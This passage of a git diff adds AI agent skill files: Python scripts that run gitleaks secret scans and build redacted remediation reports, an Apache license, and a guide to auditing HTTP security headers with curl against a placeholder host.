protect mode: {' '.join(cmd)}") + result = subprocess.run( + cmd, + capture_output=True, + text=True, + timeout=300, + ) + return result.stdout, result.stderr, result.returncode + + +def parse_findings(raw_json): + """Parse gitleaks JSON output into structured findings.""" + findings = [] + if not raw_json or not raw_json.strip(): + return findings + try: + results = json.loads(raw_json) + except json.JSONDecodeError: + return findings + if not isinstance(results, list): + results = [results] + for item in results: + secret_val = item.get("Secret", "") + findings.append({ + "rule_id": item.get("RuleID", "unknown"), + "description": item.get("Description", ""), + "secret": secret_val[:8] + "..." if secret_val else "", + "file": item.get("File", ""), + "line": item.get("StartLine", 0), + "commit": (item.get("Commit", "") or "")[:12], + "author": item.get("Author", ""), + "email": item.get("Email", ""), + "date": item.get("Date", ""), + "message": (item.get("Message", "") or "")[:80], + "entropy": item.get("Entropy", 0), + "fingerprint": item.get("Fingerprint", ""), + "tags": item.get("Tags", []), + }) + return findings + + +def format_summary(findings, target): + """Print human-readable summary of secrets found.""" + print(f"\n{'='*60}") + print(f" Gitleaks Secret Scan Report") + print(f"{'='*60}") + print(f" Target : {target}") + print(f" Secrets : {len(findings)}") + + if not findings: + print(f" Status : CLEAN - No secrets detected") + print(f"{'='*60}") + return + + by_rule = {} + for f in findings: + rule = f["rule_id"] + by_rule.setdefault(rule, []).append(f) + + print(f"\n Findings by Rule:") + for rule, items in sorted(by_rule.items(), key=lambda x: -len(x[1])): + print(f" {rule:40s}: {len(items)} occurrence(s)") + + by_file = {} + for f in findings: + by_file.setdefault(f["file"], []).append(f) + + print(f"\n Affected Files: {len(by_file)}") + for filepath, items in sorted(by_file.items(), key=lambda x: -len(x[1]))[:10]: + print(f" {filepath} ({len(items)} secret(s))") + + print(f"\n Top Findings:") + for f in findings[:15]: + print(f" [{f['rule_id']:30s}] {f['file']}:{f['line']} " + f"(commit: {f['commit']}, secret: {f['secret']})") + + +def main(): + parser = argparse.ArgumentParser( + description="Gitleaks secret scanning agent" + ) + parser.add_argument("--target", required=True, + help="Repository path or directory to scan") + parser.add_argument("--mode", choices=["detect", "protect"], default="detect", + help="Scan mode: detect (full history) or protect (pre-commit)") + parser.add_argument("--config", help="Path to custom .gitleaks.toml config") + parser.add_argument("--baseline", help="Path to baseline file for known findings") + parser.add_argument("--log-opts", help="Git log options (e.g., '--since=2026-01-01')") + parser.add_argument("--no-git", action="store_true", + help="Scan files without git history") + parser.add_argument("--staged", action="store_true", + help="Only scan staged changes (protect mode)") + parser.add_argument("--output", "-o", help="Output JSON report path") + parser.add_argument("--verbose", "-v", action="store_true") + args = parser.parse_args() + + gitleaks_bin = find_gitleaks_binary() + print(f"[*] Using gitleaks: {gitleaks_bin}") + + if args.mode == "protect": + raw_json, stderr, exit_code = run_protect( + gitleaks_bin, args.target, args.config, args.staged, args.verbose + ) + else: + raw_json, stderr, exit_code = run_detect( + gitleaks_bin, args.target, args.config, args.baseline, + args.log_opts, args.no_git, args.verbose + ) + + findings = parse_findings(raw_json) + format_summary(findings, args.target) + + report = { + "timestamp": datetime.now(timezone.utc).isoformat(), + "tool": "gitleaks", + "target": args.target, + "mode": args.mode, + "secrets_found": len(findings), + "findings": findings, + "risk_level": ( + "CRITICAL" if len(findings) > 10 + else "HIGH" if len(findings) > 0 + else "LOW" + ), + } + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"\n[+] Report saved to {args.output}") + elif args.verbose: + print(json.dumps(report, indent=2)) + + if findings: + print(f"\n[!] {len(findings)} secret(s) detected - remediation required") + else: + print(f"\n[+] No secrets detected") + + +if __name__ == "__main__": + main() diff --git a/.claude/skills/implementing-secret-scanning-with-gitleaks/scripts/process.py b/.claude/skills/implementing-secret-scanning-with-gitleaks/scripts/process.py new file mode 100644 index 0000000..dc928e0 --- /dev/null +++ b/.claude/skills/implementing-secret-scanning-with-gitleaks/scripts/process.py @@ -0,0 +1,299 @@ +#!/usr/bin/env python3 +""" +Gitleaks Secret Scanning Pipeline Script + +Runs Gitleaks scans, manages baselines, evaluates findings, +and generates remediation reports. + +Usage: + python process.py --repo-path /path/to/repo --scan-type detect + python process.py --repo-path . --scan-type protect --staged + python process.py --repo-path . --baseline .gitleaks-baseline.json --output report.json +""" + +import argparse +import json +import os +import subprocess +import sys +from dataclasses import dataclass, field +from datetime import datetime, timezone +from typing import Optional + + +@dataclass +class SecretFinding: + rule_id: str + description: str + file: str + line: int + commit: str + author: str + date: str + secret: str + entropy: float + match: str + tags: list = field(default_factory=list) + is_new: bool = True + + +@dataclass +class ScanResult: + findings: list = field(default_factory=list) + new_findings: list = field(default_factory=list) + baseline_findings: list = field(default_factory=list) + commits_scanned: int = 0 + scan_duration: float = 0.0 + error: str = "" + + +def run_gitleaks(repo_path: str, scan_type: str = "detect", + baseline_path: Optional[str] = None, + commit_range: Optional[str] = None, + staged: bool = False, + config_path: Optional[str] = None) -> dict: + """Execute Gitleaks and return JSON results.""" + cmd = ["gitleaks", scan_type, "--source", repo_path, + "--report-format", "json", "--report-path", "/dev/stdout"] + + if baseline_path and os.path.exists(baseline_path): + cmd.extend(["--baseline-path", baseline_path]) + + if commit_range: + cmd.extend(["--log-opts", commit_range]) + + if staged: + cmd.append("--staged") + + if config_path: + cmd.extend(["--config", config_path]) + + cmd.append("--verbose") + + try: + proc = subprocess.run( + cmd, + capture_output=True, + text=True, + timeout=300 + ) + + findings = [] + if proc.stdout.strip(): + try: + findings = json.loads(proc.stdout) + except json.JSONDecodeError: + pass + + return { + "findings": findings if isinstance(findings, list) else [], + "exit_code": proc.returncode, + "stderr": proc.stderr + } + + except subprocess.TimeoutExpired: + return {"findings": [], "exit_code": -1, "stderr": "Scan timed out after 300s"} + except FileNotFoundError: + return {"findings": [], "exit_code": -1, + "stderr": "gitleaks not found. Install from https://github.com/gitleaks/gitleaks"} + + +def parse_findings(raw_findings: list) -> list: + """Parse raw Gitleaks JSON findings into SecretFinding objects.""" + findings = [] + for f in raw_findings: + redacted_secret = redact_secret(f.get("Secret", "")) + findings.append(SecretFinding( + rule_id=f.get("RuleID", "unknown"), + description=f.get("Description", ""), + file=f.get("File", ""), + line=f.get("StartLine", 0), + commit=f.get("Commit", "")[:8], + author=f.get("Author", ""), + date=f.get("Date", ""), + secret=redacted_secret, + entropy=f.get("Entropy", 0.0), + match=f.get("Match", "")[:100], + tags=f.get("Tags", []) + )) + return findings + + +def redact_secret(secret: str) -> str: + """Redact a secret, showing only first 4 and last 4 characters.""" + if len(secret) <= 12: + return "*" * len(secret) + return secret[:4] + "..." + secret[-4:] + + +def load_baseline(baseline_path: str) -> set: + """Load baseline fingerprints for comparison.""" + if not os.path.exists(baseline_path): + return set() + + with open(baseline_path, "r") as f: + try: + baseline = json.load(f) + except json.JSONDecodeError: + return set() + + fingerprints = set() + for entry in baseline: + fp = f"{entry.get('RuleID', '')}:{entry.get('File', '')}:{entry.get('Commit', '')}" + fingerprints.add(fp) + + return fingerprints + + +def classify_findings(findings: list, baseline_fingerprints: set) -> tuple: + """Separate findings into new and baseline (pre-existing).""" + new_findings = [] + baseline_findings = [] + + for f in findings: + fp = f"{f.rule_id}:{f.file}:{f.commit}" + if fp in baseline_fingerprints: + f.is_new = False + baseline_findings.append(f) + else: + f.is_new = True + new_findings.append(f) + + return new_findings, baseline_findings + + +def generate_report(scan_result: ScanResult, repo_path: str) -> dict: + """Generate a structured scan report.""" + rule_summary = {} + for f in scan_result.findings: + rule_summary[f.rule_id] = rule_summary.get(f.rule_id, 0) + 1 + + author_summary = {} + for f in scan_result.new_findings: + author_summary[f.author] = author_summary.get(f.author, 0) + 1 + + return { + "report_metadata": { + "repository": repo_path, + "scan_date": datetime.now(timezone.utc).isoformat(), + "duration_seconds": scan_result.scan_duration, + "commits_scanned": scan_result.commits_scanned + }, + "summary": { + "total_findings": len(scan_result.findings), + "new_findings": len(scan_result.new_findings), + "baseline_findings": len(scan_result.baseline_findings), + "unique_rules_triggered": len(rule_summary), + "rules_breakdown": rule_summary, + "authors_with_new_findings": author_summary + }, + "quality_gate": { + "passed": len(scan_result.new_findings) == 0, + "blocking_count": len(scan_result.new_findings) + }, + "new_findings": [ + { + "rule_id": f.rule_id, + "description": f.description, + "file": f.file, + "line": f.line, + "commit": f.commit, + "author": f.author, + "date": f.date, + "secret_preview": f.secret, + "entropy": f.entropy + } + for f in scan_result.new_findings + ], + "remediation_steps": [ + f"1. Rotate the {f.rule_id} credential found in {f.file}" + for f in scan_result.new_findings + ] + } + + +def main(): + parser = argparse.ArgumentParser(description="Gitleaks Secret Scanning Pipeline") + parser.add_argument("--repo-path", required=True, help="Path to git repository") + parser.add_argument("--scan-type", default="detect", choices=["detect", "protect"], + help="Scan type: detect (history) or protect (staged/pre-commit)") + parser.add_argument("--baseline", default=None, help="Path to baseline JSON file") + parser.add_argument("--commit-range", default=None, + help="Git log range (e.g., HEAD~10..HEAD)") + parser.add_argument("--staged", action="store_true", + help="Scan only staged changes (for pre-commit)") + parser.add_argument("--config", default=None, help="Path to .gitleaks.toml config") + parser.add_argument("--output", default="gitleaks-report.json", help="Output report path") + parser.add_argument("--fail-on-findings", action="store_true", + help="Exit non-zero on new findings") + parser.add_argument("--create-baseline", action="store_true", + help="Generate baseline from current findings") + args = parser.parse_args() + + repo_path = os.path.abspath(args.repo_path) + start_time = datetime.now(timezone.utc) + + print(f"[*] Running Gitleaks {args.scan_type} on {repo_path}") + + raw_result = run_gitleaks( + repo_path, + scan_type=args.scan_type, + baseline_path=args.baseline, + commit_range=args.commit_range, + staged=args.staged, + config_path=args.config + ) + + if raw_result["exit_code"] == -1: + print(f"[ERROR] {raw_result['stderr']}") + sys.exit(2) + + scan_result = ScanResult() + scan_result.findings = parse_findings(raw_result["findings"]) + scan_result.scan_duration = (datetime.now(timezone.utc) - start_time).total_seconds() + + if args.baseline: + baseline_fps = load_baseline(args.baseline) + scan_result.new_findings, scan_result.baseline_findings = classify_findings( + scan_result.findings, baseline_fps + ) + else: + scan_result.new_findings = scan_result.findings + scan_result.baseline_findings = [] + + if args.create_baseline: + baseline_path = os.path.join(repo_path, ".gitleaks-baseline.json") + with open(baseline_path, "w") as f: + json.dump(raw_result["findings"], f, indent=2) + print(f"[*] Baseline created: {baseline_path}") + print(f" Contains {len(raw_result['findings'])} findings") + return + + report = generate_report(scan_result, repo_path) + + output_path = os.path.abspath(args.output) + with open(output_path, "w") as f: + json.dump(report, f, indent=2) + print(f"[*] Report: {output_path}") + + print(f"\n[*] Total: {len(scan_result.findings)} | " + f"New: {len(scan_result.new_findings)} | " + f"Baseline: {len(scan_result.baseline_findings)}") + + if scan_result.new_findings: + print("\n[!] New secrets detected:") + for f in scan_result.new_findings: + print(f" [{f.rule_id}] {f.file}:{f.line} (commit: {f.commit}, author: {f.author})") + print(f" Secret: {f.secret}") + + if report["quality_gate"]["passed"]: + print("\n[PASS] No new secrets detected.") + else: + print(f"\n[FAIL] {len(scan_result.new_findings)} new secrets found. Rotate immediately.") + + if args.fail_on_findings and not report["quality_gate"]["passed"]: + sys.exit(1) + + +if __name__ == "__main__": + main() diff --git a/.claude/skills/performing-security-headers-audit/LICENSE b/.claude/skills/performing-security-headers-audit/LICENSE new file mode 100644 index 0000000..d885118 --- /dev/null +++ b/.claude/skills/performing-security-headers-audit/LICENSE @@ -0,0 +1,201 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to the Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by the Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding any notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. Please do not remove or change + the license header comment from a contributed file except when + necessary. + + Copyright 2026 mukul975 + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/.claude/skills/performing-security-headers-audit/SKILL.md b/.claude/skills/performing-security-headers-audit/SKILL.md new file mode 100644 index 0000000..0b85cbc --- /dev/null +++ b/.claude/skills/performing-security-headers-audit/SKILL.md @@ -0,0 +1,325 @@ +--- +name: performing-security-headers-audit +description: Auditing HTTP security headers including CSP, HSTS, X-Frame-Options, + and cookie attributes to identify missing or misconfigured browser-level protections. +domain: cybersecurity +subdomain: web-application-security +tags: +- penetration-testing +- security-headers +- csp +- hsts +- owasp +- web-security +- hardening +version: '1.0' +author: mahipal +license: Apache-2.0 +nist_csf: +- PR.PS-01 +- ID.RA-01 +- PR.DS-10 +- DE.CM-01 +mitre_attack: +- T1190 +- T1059.007 +- T1505.003 +- T1083 +--- + +# Performing Security Headers Audit + +## When to Use + +- During authorized web application security assessments as a standard configuration review +- When evaluating browser-level protections against XSS, clickjacking, and data leakage +- For compliance assessments requiring security header implementation (PCI DSS, SOC 2) +- When performing initial reconnaissance to identify easy-win security improvements +- During CI/CD pipeline security gate checks for new deployments + +## Prerequisites + +- **Authorization**: Written scope for the target application (header review is low-risk) +- **curl**: For fetching response headers from target endpoints +- **SecurityHeaders.com**: Online scanner for quick header assessment +- **Mozilla Observatory**: Mozilla's web security testing tool +- **Burp Suite**: For comprehensive header analysis across multiple pages +- **Browser DevTools**: For examining headers and CSP violations in real-time + +## Workflow + +### Step 1: Collect Security Headers from Target + +Retrieve and catalog all security-related response headers. + +```bash +# Fetch all response headers +curl -s -I "https://target.example.com/" | grep -iE \ + "(strict-transport|content-security|x-frame|x-content-type|x-xss|referrer-policy|permissions-policy|feature-policy|x-permitted|cross-origin|set-cookie|server|x-powered-by|cache-control)" + +# Check headers across multiple pages +PAGES=("/" "/login" "/api/health" "/admin" "/account/settings" "/static/app.js") + +for page in "${PAGES[@]}"; do + echo "=== $page ===" + curl -s -I "https://target.example.com$page" 2>/dev/null | grep -iE \ + "(strict-transport|content-security|x-frame|x-content-type|x-xss|referrer-policy|permissions-policy|set-cookie|server|x-powered)" + echo +done + +# Check both HTTP and HTTPS responses +echo "=== HTTP Response ===" +curl -s -I "http://target.example.com/" | head -20 +echo "=== HTTPS Response ===" +curl -s -I "https://target.example.com/" | head -20 +``` + +### Step 2: Assess Transport Security (HSTS) + +Evaluate HTTP Strict Transport Security configuration. + +```bash +# Check HSTS header +curl -s -I "https://target.example.com/" | grep -i "strict-transport-security" + +# Expected: Strict-Transport-Security: max-age=31536000; includeSubDomains; preload + +# Verify HSTS attributes: +# max-age: Should be >= 31536000 (1 year) for preload eligibility +# includeSubDomains: Protects all subdomains +# preload: Eligible for browser HSTS preload list + +# Check if HTTP redirects to HTTPS +curl -s -I "http://target.example.com/" | head -5 +# Should be 301/302 redirect to https:// + +# Check if HSTS is on the preload list +# Visit: https://hstspreload.org/?domain=target.example.com + +# Test for HTTPS-only cookies +curl -s -I "https://target.example.com/login" | grep -i "set-cookie" +# All session cookies should have Secure flag + +# Check for mixed content +curl -s "https://target.example.com/" | grep -oP "http://[^\"']+" | head -20 +# HTTP resources loaded on HTTPS pages create mixed content vulnerabilities +``` + +### Step 3: Audit Content Security Policy (CSP) + +Analyze CSP headers for effectiveness and potential bypasses. + +```bash +# Extract CSP header +CSP=$(curl -s -I "https://target.example.com/" | grep -i "content-security-policy" | cut -d: -f2-) +echo "$CSP" + +# Check for dangerous directives: +# 'unsafe-inline' in script-src: Allows inline scripts (XSS risk) +# 'unsafe-eval' in script-src: Allows eval() (XSS risk) +# * in any directive: Allows loading from any origin +# data: in script-src: Allows data: URI scripts +# Missing default-src: No fallback policy + +echo "$CSP" | tr ';' '\n' | while read directive; do + echo " $directive" + if echo "$directive" | grep -q "unsafe-inline"; then + echo " WARNING: unsafe-inline allows inline script execution" + fi + if echo "$directive" | grep -q "unsafe-eval"; then + echo " WARNING: unsafe-eval allows eval() calls" + fi + if echo "$directive" | grep -q " \* "; then + echo " WARNING: wildcard allows loading from any origin" + fi +done + +# Check for CSP report-only (not enforcing) +curl -s -I "https://target.example.com/" | grep -i "content-security-policy-report-only" +# Report-only does NOT block violations, only logs them + +# Test CSP with Google's evaluator +# https://csp-evaluator.withgoogle.com/ +# Paste the CSP header for automated analysis + +# Check for CSP bypass via whitelisted domains +# If CDN domains are whitelisted, check for JSONP endpoints or angular libraries +``` + +### Step 4: Check Frame Protection and Click Defense Headers + +Verify anti-clickjacking and iframe embedding controls. + +```bash +# X-Frame-Options +curl -s -I "https://target.example.com/" | grep -i "x-frame-options" +# Expected: DENY or SAMEORIGIN +# ALLOW-FROM is deprecated and not supported in modern browsers + +# CSP frame-ancestors (supersedes X-Frame-Options) +curl -s -I "https://target.example.com/" | grep -i "content-security-policy" | grep -o "frame-ancestors[^;]*" +# Expected: frame-ancestors 'none' or frame-ancestors 'self' + +# X-Content-Type-Options +curl -s -I "https://target.example.com/" | grep -i "x-content-type-options" +# Expected: nosniff (prevents MIME type sniffing) + +# X-XSS-Protection (legacy, but still useful for older browsers) +curl -s -I "https://target.example.com/" | grep -i "x-xss-protection" +# Expected: 1; mode=block (or 0 if CSP is comprehensive) +# Note: Modern recommendation is 0 (disable) when CSP is present + +# Referrer-Policy +curl -s -I "https://target.example.com/" | grep -i "referrer-policy" +# Expected: strict-origin-when-cross-origin or no-referrer +# Prevents sensitive URL data from leaking via Referer header +``` + +### Step 5: Audit Cookie Security Attributes + +Examine session and authentication cookies for security flags. + +```bash +# Fetch all Set-Cookie headers +curl -s -I -L "https://target.example.com/login" | grep -i "set-cookie" + +# Check each cookie for required attributes: +# Secure: Only sent over HTTPS +# HttpOnly: Not accessible via JavaScript (prevents XSS cookie theft) +# SameSite: Controls cross-site cookie sending (Strict, Lax, None) +# Path: Restricts cookie scope +# Domain: Controls which domains receive the cookie +# Max-Age/Expires: Cookie lifetime + +# Automated cookie check +curl -s -I "https://target.example.com/login" | grep -i "set-cookie" | while read line; do + echo "Cookie: $(echo "$line" | grep -oP '[^:]+=[^;]+')" + missing="" + echo "$line" | grep -qi "secure" || missing="$missing Secure" + echo "$line" | grep -qi "httponly" || missing="$missing HttpOnly" + echo "$line" | grep -qi "samesite" || missing="$missing SameSite" + if [ -n "$missing" ]; then + echo " MISSING:$missing" + else + echo " All flags present" + fi +done + +# Check for __Host- and __Secure- cookie prefixes +# __Host- cookies must have Secure, Path=/, no Domain +# __Secure- cookies must have Secure flag +``` + +### Step 6: Check Permissions Policy and Information Disclosure + +Review browser feature controls and information leakage headers. + +```bash +# Permissions-Policy (formerly Feature-Policy) +curl -s -I "https://target.example.com/" | grep -i "permissions-policy" +# Controls browser features: camera, microphone, geolocation, etc. +# Expected: Restrict unused features +# Example: permissions-policy: camera=(), microphone=(), geolocation=() + +# Cross-Origin headers +curl -s -I "https://target.example.com/" | grep -iE "(cross-origin-embedder|cross-origin-opener|cross-origin-resource)" +# COEP: Cross-Origin-Embedder-Policy: require-corp +# COOP: Cross-Origin-Opener-Policy: same-origin +# CORP: Cross-Origin-Resource-Policy: same-origin + +# Information disclosure headers to flag +curl -s -I "https://target.example.com/" | grep -iE "(server|x-powered-by|x-aspnet|x-generator)" +# Server: Apache/2.4.52 (should be removed or generic) +# X-Powered-By: PHP/8.1.2 (should be removed) +# These headers reveal technology stack to attackers + +# Cache-Control for sensitive pages +curl -s -I "https://target.example.com/account/settings" | grep -i "cache-control" +# Sensitive pages should have: Cache-Control: no-store, no-cache, must-revalidate +# Prevents browser caching of sensitive data + +# Generate comprehensive report using online tools +echo "Scan with SecurityHeaders.com: https://securityheaders.com/?q=target.example.com" +echo "Scan with Mozilla Observatory: https://observatory.mozilla.org/analyze/target.example.com" +``` + +## Key Concepts + +| Concept | Description | +|---------|-------------| +| **HSTS** | Forces browsers to only use HTTPS for the domain, preventing protocol downgrade attacks | +| **CSP** | Restricts which resources (scripts, styles, images) can load on the page | +| **X-Frame-Options** | Controls whether the page can be embedded in iframes (clickjacking defense) | +| **X-Content-Type-Options** | Prevents MIME type sniffing; forces browser to respect declared Content-Type | +| **Referrer-Policy** | Controls how much referrer information is sent with cross-origin requests | +| **Permissions-Policy** | Restricts browser features (camera, microphone, geolocation) available to the page | +| **SameSite Cookie** | Controls when cookies are sent in cross-site contexts (Strict, Lax, None) | +| **HSTS Preloading** | Hardcoding HSTS policy in browser source code for first-visit protection | + +## Tools & Systems + +| Tool | Purpose | +|------|---------| +| **SecurityHeaders.com** | Online scanner providing letter-grade security header assessment | +| **Mozilla Observatory** | Comprehensive web security scanner with scoring and recommendations | +| **CSP Evaluator (Google)** | Analyzes Content Security Policy for weaknesses and bypasses | +| **Burp Suite Professional** | Inspecting response headers across all application pages | +| **securityheaders (CLI)** | Command-line security header scanner | +| **Hardenize** | TLS and security header monitoring service | + +## Common Scenarios + +### Scenario 1: Complete Header Absence +A legacy application returns no security headers at all. No HSTS, CSP, X-Frame-Options, or cookie security flags. Every page is vulnerable to clickjacking, XSS has no browser-level mitigation, and cookies are sent over HTTP. + +### Scenario 2: Weak CSP with unsafe-inline +The CSP header includes `script-src 'self' 'unsafe-inline'`. While it restricts external script loading, the `unsafe-inline` directive allows any inline script to execute, rendering the CSP ineffective against XSS. + +### Scenario 3: Session Cookie Without Secure Flag +The session cookie is set without the `Secure` flag. On mixed HTTP/HTTPS sites, the session token can be intercepted by a network attacker via a plain HTTP request. + +### Scenario 4: Missing HSTS Enabling SSL Stripping +No HSTS header is present. An attacker on the network can perform an SSL stripping attack, downgrading the victim's HTTPS connection to HTTP and intercepting all traffic. + +## Output Format + +``` +## Security Headers Audit Report + +**Target**: target.example.com +**Grade**: D (SecurityHeaders.com) +**Assessment Date**: 2024-01-15 + +### Headers Assessment +| Header | Status | Current Value | Recommended | +|--------|--------|---------------|-------------| +| Strict-Transport-Security | MISSING | - | max-age=31536000; includeSubDomains; preload | +| Content-Security-Policy | WEAK | script-src 'self' 'unsafe-inline' | script-src 'self' 'nonce-{random}' | +| X-Frame-Options | MISSING | - | DENY | +| X-Content-Type-Options | PRESENT | nosniff | nosniff (OK) | +| Referrer-Policy | MISSING | - | strict-origin-when-cross-origin | +| Permissions-Policy | MISSING | - | camera=(), microphone=(), geolocation=() | +| X-XSS-Protection | MISSING | - | 0 (with strong CSP) | + +### Cookie Security +| Cookie | Secure | HttpOnly | SameSite | Path | +|--------|--------|----------|----------|------| +| session | NO | YES | Not set | / | +| user_pref | NO | NO | Not set | / | +| csrf_token | YES | NO | Strict | / | + +### Information Disclosure +| Header | Value | Risk | +|--------|-------|------| +| Server | Apache/2.4.52 | Technology fingerprinting | +| X-Powered-By | PHP/8.1.2 | Version-specific exploit targeting | + +### Recommendation Priority +1. **Critical**: Add Secure and SameSite flags to session cookie +2. **High**: Implement HSTS with min 1-year max-age +3. **High**: Replace 'unsafe-inline' in CSP with nonce-based policy +4. **Medium**: Add X-Frame-Options: DENY +5. **Medium**: Add Referrer-Policy: strict-origin-when-cross-origin +6. **Low**: Remove Server and X-Powered-By version information +7. **Low**: Add Permissions-Policy to restrict unused browser features +``` diff --git a/.claude/skills/performing-security-headers-audit/references/api-reference.md b/.claude/skills/performing-security-headers-audit/references/api-reference.md new file mode 100644 index 0000000..758577f --- /dev/null +++ b/.claude/skills/performing-security-headers-audit/references/api-reference.md @@ -0,0 +1,44 @@ +# API Reference: Security Headers Audit + +## Security Headers Checked + +| Header | Recommended Value | Purpose | +|--------|------------------|---------| +| `Strict-Transport-Security` | `max-age=31536000; includeSubDomains; preload` | Force HTTPS | +| `Content-Security-Policy` | `script-src 'self' 'nonce-{random}'` | Restrict resource loading | +| `X-Frame-Options` | `DENY` | Prevent clickjacking | +| `X-Content-Type-Options` | `nosniff` | Prevent MIME sniffing | +| `Referrer-Policy` | `strict-origin-when-cross-origin` | Control referrer leakage | +| `Permissions-Policy` | `camera=(), microphone=(), 